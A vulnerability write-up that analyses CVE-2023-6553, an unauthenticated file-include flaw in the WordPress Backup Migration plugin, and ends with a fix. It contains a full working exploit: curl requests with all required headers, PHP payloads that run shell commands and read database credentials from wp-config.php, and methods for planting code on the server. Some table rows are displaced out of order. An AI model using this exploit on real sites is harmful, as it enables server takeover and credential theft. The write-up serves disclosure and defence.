
Plugin: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8 (Critical)
CWE: CWE-98 — Improper Control of Filename for Include/Require Statement
Authentication Requirement: None
Impact: Remote Code Execution
Backup Migration is a fairly popular WordPress plugin (~90,000+ active installations) that helps users create backup copies. During the backup process, the plugin has a file named backup-heart.php running in the background - it receives configuration information via HTTP headers to know which directory needs to be backed up, where the config file is located, etc.
The issue lies in the fact that this file completely trusts the HTTP headers sent by the client, takes the header value directly into the file path, and then uses require_once() to load the file from that path. An attacker only needs to send the Content-Dir header pointing to a directory containing malicious PHP code → the server automatically includes and executes it.
It is worth noting that the backup-heart.php file does not require authentication — it only checks if the request method is POST, without verifying any nonce or user privileges. Anyone on the internet can send a request to it.
⇒ This is a zero-click vulnerability.
PHP has functions like include(), require(), require_once() used to include other PHP files into the running program. When the file path passed into these functions comes from user input without validation, an attacker can force the server to include any file they want:
allow_url_include=On (usually disabled by default).This CVE falls under LFI — the attacker controls the path passed to require_once() pointing to a PHP file that the attacker has managed to write onto the server.
Many developers think HTTP headers are "internal" metadata known only to the server and client. In reality, attackers control 100% of the header content — they can set any header name and value. Trusting headers is just like trusting form input — it must be validated.
define() and PHP Constantsdefine('NAME', $value) creates a constant used throughout the application. Once defined, the value cannot be changed. If $value comes from an attacker, every place using that constant is affected.
I started by using grep to search for all require and include statements across the plugin:
grep -rn "require\|include" includes/

The search results returned many require/include calls. Looking through them, most were include_once calls in banner/misc.php and banner/views/index.php — these belong to the admin UI rendering code with hardcoded paths, making them unexploitable.
However, 2 lines in backup-heart.php caught my attention:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
Line 118 uses require_once with the constant BMI_INCLUDES — if this constant were hardcoded, it would be secure. But looking up at line 64, I saw BMI_INCLUDES is constructed from another constant, BMI_ROOT_DIR. So we need to trace further: where is BMI_ROOT_DIR assigned its value?
I used grep again to trace it:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
Results:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
Line 62 shows BMI_ROOT_DIR takes its value from $fields['content-dir']. This is a variable, not a fixed value — we need to open the file and see what $fields contains.
I opened backup-heart.php in VS Code at line 62:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

It is clearly visible that $fields['content-dir'] goes directly into define(). Now we need to determine where the $fields variable is assigned:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


At this point, the root cause becomes crystal clear: $fields holds all HTTP headers retrieved via getallheaders() — completely controlled by the client. There is no wp_verify_nonce(), no current_user_can(), no valid path check — it simply verifies the POST method and reads headers directly in.
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
Root cause summary: HTTP Header → define() → require_once(), with zero validation steps in between.
I used Xdebug + VS Code to visually confirm the attack flow. I set 2 breakpoints at line 62 and line 118 in backup-heart.php, then sent the exploit request using curl.
Breakpoint 1 — Line 62:
The debugger paused right at define('BMI_ROOT_DIR', $fields['content-dir']). Expanding the $fields variable in the Variables panel showed an array of 22 elements — containing all HTTP headers sent by the client. Specifically:
content-dir = "/tmp/bmi/" — this is precisely the value sent via header, which gets directly assigned to the BMI_ROOT_DIR constant.content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — all controlled by the attacker.There are no validation or filtering steps applied to content-dir before passing it to define().

Breakpoint 2 — Line 118:
Pressing F5, the debugger paused at require_once BMI_INCLUDES . '/bypasser.php'. Looking at the state:
$fields still retains content-dir = "/tmp/bmi/" — proving the value was not altered between lines 62 and 118.{main} backup-heart.php 118:1 — code executed straight from the top of the file to this point, bypassing any middleware or authentication checks./tmp/bmi/includes/bypasser.php — a file whose content is controlled by the attacker.
The debugging results perfectly confirm the flow analyzed in Step 3: HTTP header travels from getallheaders() → define() → require_once(), with no validation in between.
Before triggering the include, a PHP file must already exist on the target server. Common techniques include:
| Method | Concept |
|---|---|
| Log poisoning |
Send a request with Content-Dir pointing to the directory containing the payload. The server automatically requires and executes the attacker's file.
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
All Content-* headers must be supplied because backup-heart.php uses them in other define() calls — missing headers trigger PHP warnings and may abort execution before reaching require_once.
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
Returns 200 — endpoint is open and does not prompt for authentication.

Create the directory structure matching what require_once expects to find: {Content-Dir}includes/bypasser.php:
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
Output result:

RCE Successful — server executes the id command and returns the output.
After confirming RCE, I changed the payload to demonstrate that an attacker can read sensitive information on the server. Change payload file contents to read wp-config.php:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
Resend the same curl exploit request → output returns database connection details:
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
Attacker can read any file that www-data has permissions to access — wp-config.php, /etc/passwd, source code of other plugins — expanding the attack surface.

Further modify payload to demonstrate that attacker can gather server system information — aiding privilege escalation or lateral movement:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
Send curl exploit → output:
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

From this output, attacker discovers:
172.18.0.3 — confirms server is inside a Docker network, enabling pivoting to other containers (database, cache, etc.)backup-heart.php resides on disk and can be directly accessed via URL.Do not use HTTP headers to determine file paths. Use relative paths derived from __DIR__:
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);
// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
Add authorization check — only WordPress admin should be allowed to invoke this endpoint:
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php./wp-content/plugins/*/includes/*.php.| Attribute | Value |
|---|
| CVE ID | CVE-2023-6553 |
| CVSS Score | 9.8 (Critical) |
| Plugin | backup-backup (Backup Migration) ≤ 1.3.7 |
| Authentication | Not required |
| User Interaction | None (zero-click) |
| Fixed | Version 1.3.8 |
Send a request containing <?php ... ?> inside the User-Agent → code gets written to access log → include log file |
| PHP session | Write PHP code into a session file located at /tmp/sess_xxx |
| Upload chain | Leverage WordPress media/avatar upload feature to upload the file |
| Plugin error log | Plugin writes its own error log — triggering an error containing PHP code writes the code to the log file |
| CVSS Metric | Value | Reason |
|---|
| Attack Vector | Network | Via HTTP |
| Attack Complexity | Low | 1 POST request, no timing or special conditions required |
| Privileges Required | None | Endpoint requires no authentication |
| User Interaction | None | Attacker-driven, victim requires no interaction |
| Confidentiality | High | Can read any file: wp-config.php, /etc/passwd, source code |
| Integrity | High | Arbitrary file writing, webshell installation, database modification |
| Availability | High | File deletion, process termination, full server compromise |